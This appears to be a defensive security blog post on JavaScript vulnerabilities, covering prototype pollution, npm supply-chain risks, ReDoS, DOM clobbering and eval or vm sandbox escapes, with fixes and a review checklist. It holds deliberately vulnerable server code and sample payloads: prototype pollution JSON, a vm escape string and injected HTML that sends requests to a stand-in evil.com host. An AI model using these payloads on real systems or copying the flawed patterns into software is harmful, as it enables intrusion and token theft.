JavaScript is the one language I can never escape, it’s on both sides of the web. In the browser it handles user interaction and DOM manipulation, and on the server Node.js powers APIs, microservices, and build tools. This dual nature creates an attack surface that’s uniquely challenging to secure. Browser-side JavaScript faces XSS, DOM clobbering, and postMessage abuse. Server-side JavaScript faces prototype pollution, dependency confusion, ReDoS, and the vast npm ecosystem where a single malicious package can compromise thousands of applications. In this post, I want to walk through the JavaScript-specific anti-patterns that keep coming up, from the prototype chain manipulation that poisons every object in the runtime to the regex that freezes your server.

Prototype Pollution: Poisoning the Object Chain

Every JavaScript object inherits properties from its prototype chain. Object.prototype sits at the top of the chain for most objects. If an attacker can set a property on Object.prototype, that property becomes visible on every object in the application, including objects created after the pollution. When I first dug into how this works, the implications were wilder than I expected.

The Easy-to-Spot Version

const express = require('express');
const app = express();
app.use(express.json());

const config = {};

app.post('/config', (req, res) => {
    const { key, value } = req.body;
    config[key] = value; // If key = "__proto__", pollutes Object.prototype
    res.json({ status: 'updated' });
});

app.get('/admin', (req, res) => {
    const user = {};
    if (user.isAdmin) { // user inherits isAdmin from polluted Object.prototype
        res.json({ secret: 'admin-data' });
    } else {
        res.status(403).json({ error: 'forbidden' });
    }
});

The attacker sends {"key": "__proto__", "value": {"isAdmin": true}}. This sets Object.prototype.isAdmin = true. Every subsequently created object inherits isAdmin: true, bypassing the admin check. The pollution persists for the lifetime of the process. What’s striking about this is how a simple key-value store can compromise an entire auth model, the developer has no reason to expect that setting a config value could affect unrelated objects.

The Hard-to-Spot Version: Recursive Merge

function deepMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            deepMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

app.post('/settings', (req, res) => {
    const defaults = { theme: 'light', language: 'en' };
    const settings = deepMerge(defaults, req.body);
    res.json(settings);
});

Here’s the thing, the attacker sends {"__proto__": {"isAdmin": true}}. Object.keys does not include __proto__ in modern engines, so this specific attack is blocked. But the attacker can send {"constructor": {"prototype": {"isAdmin": true}}}. The merge traverses target.constructor.prototype, which is Object.prototype, and sets isAdmin on it. The pollution happens through the constructor property instead of __proto__. This variant is easy to miss during reviews because the __proto__ check gives you a false sense of security.

The Fix

function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue; // Skip dangerous keys
        }
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

Or use Object.create(null) for objects that should not have a prototype chain:

const config = Object.create(null); // No prototype, immune to pollution
config.theme = 'light';
config.isAdmin; // undefined, even if Object.prototype.isAdmin is set

Comparison: Python’s Approach

Python objects have __class__ and __dict__ but modifying them does not propagate to all objects:

# Python: Setting attributes on one object does not affect others
config = {}
config["__proto__"] = {"isAdmin": True}  # Just creates a key named "__proto__"
user = {}
print(user.get("isAdmin"))  # None, no pollution

Python’s object model does not have prototype chain inheritance for plain dicts. Class-level attribute modification (object.__class__.__dict__) is restricted and does not propagate the same way. It’s one of those cases where Python’s design choices really pay off.

Supply Chain Attacks: npm as an Attack Vector

The npm ecosystem contains over 2 million packages. A single npm install can pull in hundreds of transitive dependencies. Each dependency is a trust boundary, if any package in the tree is compromised, the attacker has code execution in your build pipeline and production environment. The more I researched this, the more alarming the scale became, projects with dependency trees over 1,500 packages deep, where nobody on the team could explain what half of them did.

Dependency Confusion

{
    "name": "my-app",
    "dependencies": {
        "@mycompany/auth-utils": "^1.0.0",
        "lodash": "^4.17.21"
    }
}

If @mycompany/auth-utils is a private package hosted on a private registry, an attacker can publish a package with the same name on the public npm registry with a higher version number. If the npm client is configured to check the public registry first (or as a fallback), it installs the attacker’s package instead of the private one. There are documented cases of this exact scenario playing out, caught only because a developer noticed an unexpected postinstall script running.

Malicious postinstall Scripts

{
    "name": "helpful-utils",
    "version": "1.0.0",
    "scripts": {
        "postinstall": "node setup.js"
    }
}

The postinstall script runs automatically after npm install. The attacker’s setup.js can read environment variables (CI/CD tokens, AWS credentials), exfiltrate files, or install a backdoor. The script runs with the same permissions as the user running npm install. What I find particularly concerning about this is how normalized postinstall scripts are, legitimate packages use them all the time, so developers don’t think twice.

The Fix

# Disable postinstall scripts for untrusted packages
npm install --ignore-scripts

# Use a lockfile to pin exact versions
npm ci  # Installs from package-lock.json only

# Audit dependencies for known vulnerabilities
npm audit

Comparison: Go’s Module System

Go modules use a checksum database (sum.golang.org) that prevents tampering with published modules:

// go.sum contains cryptographic hashes of every dependency
// If a module's content changes after publication, go mod verify fails

Go’s approach provides stronger integrity guarantees than npm’s, where package contents can be changed by the publisher (though npm now supports provenance attestations). The research on this is pretty clear, Go’s module system sets the standard here.

ReDoS: Regular Expression Denial of Service

JavaScript’s regex engine uses backtracking. Certain regex patterns exhibit exponential time complexity on specific inputs, freezing the event loop and making the server unresponsive. I learned this the hard way when I tested a bad regex against a 30-character string and watched a process hang, it’s a humbling experience.

The Vulnerable Pattern

const express = require('express');
const app = express();

app.get('/validate', (req, res) => {
    const email = req.query.email;
    // Catastrophic backtracking on inputs like "aaaaaaaaaaaaaaaaaa!"
    const emailRegex = /^([a-zA-Z0-9]+\.)+[a-zA-Z]{2,}$/;
    if (emailRegex.test(email)) {
        res.json({ valid: true });
    } else {
        res.json({ valid: false });
    }
});

The pattern ([a-zA-Z0-9]+\.)+ has nested quantifiers. On input "aaaaaaaaaaaaaaaaaa!", the engine tries every possible way to split the as between the inner + and the outer +, resulting in exponential backtracking. A 30-character input can freeze the server for minutes. Writing your own email regex is a trap, it’s worth using a dedicated validation library instead.

The Fix

// Use a non-backtracking pattern or a dedicated validation library
const validator = require('validator');

app.get('/validate', (req, res) => {
    const email = req.query.email;
    if (validator.isEmail(email)) {
        res.json({ valid: true });
    } else {
        res.json({ valid: false });
    }
});

Or use atomic groups / possessive quantifiers (not available in standard JavaScript regex, but available in libraries like re2):

const RE2 = require('re2');
const emailRegex = new RE2('^([a-zA-Z0-9]+\\.)+[a-zA-Z]{2,}$');
// RE2 uses a linear-time algorithm, no catastrophic backtracking

Comparison: Rust’s Regex Crate

Rust’s regex crate guarantees linear-time matching by using a finite automaton instead of backtracking:

use regex::Regex;

let re = Regex::new(r"^([a-zA-Z0-9]+\.)+[a-zA-Z]{2,}$").unwrap();
// Guaranteed O(n) matching, no ReDoS possible
re.is_match("aaaaaaaaaaaaaaaaaa!"); // Returns false in microseconds

DOM Clobbering

In the browser, HTML elements with id or name attributes are accessible as properties of document and window. An attacker who can inject HTML (but not script) can override JavaScript variables by creating elements with specific IDs. This one is sneaky, I didn’t learn about it until I started researching browser-specific attack techniques, and it surprised me how effective it can be.

The Vulnerable Pattern

<!-- Attacker injects this HTML (e.g., through a rich text editor) -->
<form id="config"><input name="apiUrl" value="https://evil.com/api"></form>

<script>
// Developer expects config to be a JavaScript object
// But config is now the <form> element due to DOM clobbering
const apiUrl = config.apiUrl.value || 'https://api.example.com';
fetch(apiUrl + '/data')
    .then(r => r.json())
    .then(data => renderData(data));
</script>

The <form id="config"> element clobbers any global variable named config. The <input name="apiUrl"> is accessible as config.apiUrl. The script reads the attacker’s URL and sends API requests to it, potentially leaking authentication tokens in the request headers. It’s surprisingly effective in CTF scenarios and worth understanding for real-world defence.

The Fix

// Use a namespace that cannot be clobbered
const APP_CONFIG = Object.freeze({
    apiUrl: 'https://api.example.com'
});

// Or verify the type before using
if (typeof config === 'object' && !(config instanceof HTMLElement)) {
    // Safe to use config
}

Insecure Deserialization with eval and Function

JavaScript’s eval() and new Function() execute arbitrary code from strings. They are sometimes used as a “fast” alternative to JSON.parse or for dynamic code generation. Seeing eval in a codebase is always a red flag.

The Vulnerable Pattern

app.post('/api/data', (req, res) => {
    const rawBody = req.body.toString();
    // "Faster than JSON.parse", but executes arbitrary code
    const data = eval('(' + rawBody + ')');
    res.json({ received: data });
});

The attacker sends a request body containing JavaScript code instead of JSON. eval executes it with full access to the Node.js runtime, file system, network, child processes. The “faster than JSON.parse” justification shows up more often than you’d expect in production code.

The Subtle Version: Template Literal Injection

const vm = require('vm');

app.get('/render', (req, res) => {
    const template = req.query.template;
    const context = { username: 'guest', role: 'viewer' };
    const sandbox = vm.createContext(context);
    const result = vm.runInContext(`\`${template}\``, sandbox);
    res.send(result);
});

The developer uses Node.js vm module as a “sandbox.” But vm is not a security boundary, the attacker can escape the sandbox:

template=${this.constructor.constructor('return process')().exit()}

This accesses the Function constructor through the prototype chain, creates a function that returns the process object, and calls process.exit() to crash the server. More sophisticated escapes can read files or spawn child processes. What I found fascinating when researching this is how many developers are convinced their vm sandbox is secure, the escape techniques are well-documented, but the misconception persists.

Comparison: Python’s Sandboxing

Python has the same problem with exec() and no reliable sandbox:

# Python: exec() in a "restricted" namespace is still escapable
namespace = {"__builtins__": {}}
exec(user_input, namespace)
# Attacker: ().__class__.__bases__[0].__subclasses__(), enumerates all classes

Neither JavaScript’s vm module nor Python’s restricted exec provides a security sandbox. True sandboxing requires OS-level isolation (containers, seccomp, WebAssembly).

Detection Strategies

Tool What It Catches Limitations
ESLint (eslint-plugin-security) eval, Function, child_process.exec, prototype pollution patterns Pattern-based; misses indirect usage
NodeJsScan SSRF, injection, insecure crypto, hardcoded secrets Limited to Node.js server-side patterns
Semgrep Pattern-based detection of all above patterns Requires JavaScript-specific rules
npm audit Known CVEs in dependencies Does not analyse source code
Snyk Dependency vulnerabilities + some source code analysis Commercial features for deep analysis
retire.js Known vulnerable JavaScript libraries (client-side) Only checks library versions, not usage
safe-regex / rxxr2 ReDoS-vulnerable regex patterns Cannot assess all backtracking patterns

Manual Review Checklist

Here’s the checklist I run through on JavaScript reviews:

  1. Search for eval, Function, vm.runInContext, verify no user input reaches code execution.
  2. Search for recursive merge/extend functions, verify __proto__, constructor, and prototype keys are blocked.
  3. Search for child_process.exec, verify arguments are not constructed from user input. Use execFile with argument arrays instead.
  4. Search for regex patterns with nested quantifiers ((a+)+, (a|b)*c), test with long inputs for backtracking.
  5. Search for innerHTML, document.write, outerHTML, verify user input is sanitized before DOM insertion.
  6. Search for postMessage handlers, verify origin is checked before processing messages.
  7. Audit package.json for postinstall scripts in dependencies.
  8. Verify package-lock.json is committed and npm ci is used in CI/CD.

Remediation Patterns

Prevent Prototype Pollution

// Use Map instead of plain objects for user-controlled keys
const config = new Map();
config.set(userKey, userValue); // No prototype pollution possible

// Or use Object.create(null)
const safeObj = Object.create(null);
safeObj[userKey] = userValue; // No prototype chain to pollute

// Freeze Object.prototype as a defense-in-depth measure
Object.freeze(Object.prototype);

Secure Dependency Management

{
    "scripts": {
        "preinstall": "npx npm-force-resolutions",
        "postinstall": ""
    },
    "overrides": {
        "vulnerable-package": ">=2.0.0"
    }
}

Use npm ci (not npm install) in CI/CD to install from the lockfile only. Use --ignore-scripts for untrusted packages. Pin exact versions in package-lock.json.

Safe Object Merging

// Use a merge function that skips prototype-polluting keys
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue;
        }
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = Object.create(null);
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

If you’re using lodash, update to 4.17.21+ where _.merge and _.defaultsDeep block __proto__ pollution. For new code, consider avoiding recursive merge entirely, flat configuration objects with explicit key validation are simpler and safer.

Mitigate ReDoS with Linear-Time Matching

const RE2 = require('re2');

// RE2 guarantees linear-time matching, no catastrophic backtracking
const emailRegex = new RE2('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$');

// Or use a dedicated validation library
const validator = require('validator');
if (validator.isEmail(userInput)) { /* ... */ }

For any regex that runs against untrusted input, either validate the pattern with safe-regex or switch to re2. The performance cost of RE2 is negligible compared to the risk of a 30-character input freezing your event loop for minutes.

Key Takeaways

Here’s what stands out after spending time researching JavaScript security:

  1. Prototype pollution affects every object in the runtime. Block __proto__, constructor, and prototype keys in merge/extend functions. Use Map or Object.create(null) for user-controlled keys.
  2. npm is a supply chain attack surface. Use lockfiles, npm ci, --ignore-scripts, and npm audit. Pin private package scopes to your private registry.
  3. ReDoS freezes the event loop. Avoid nested quantifiers in regex. Use re2 for linear-time matching on untrusted input.
  4. vm is not a sandbox. Node.js vm module does not provide security isolation. Use OS-level sandboxing for untrusted code execution.
  5. DOM clobbering bypasses JavaScript variable assumptions. Never rely on global variables that could be shadowed by HTML elements. Use const declarations in module scope.
  6. JavaScript’s flexibility is its vulnerability. Dynamic typing, prototype inheritance, eval, and the massive dependency ecosystem create attack surfaces that do not exist in statically typed, compiled languages. JavaScript codebases tend to need more security review time than most other languages, and that’s not a knock on the language, it’s just the reality of the ecosystem.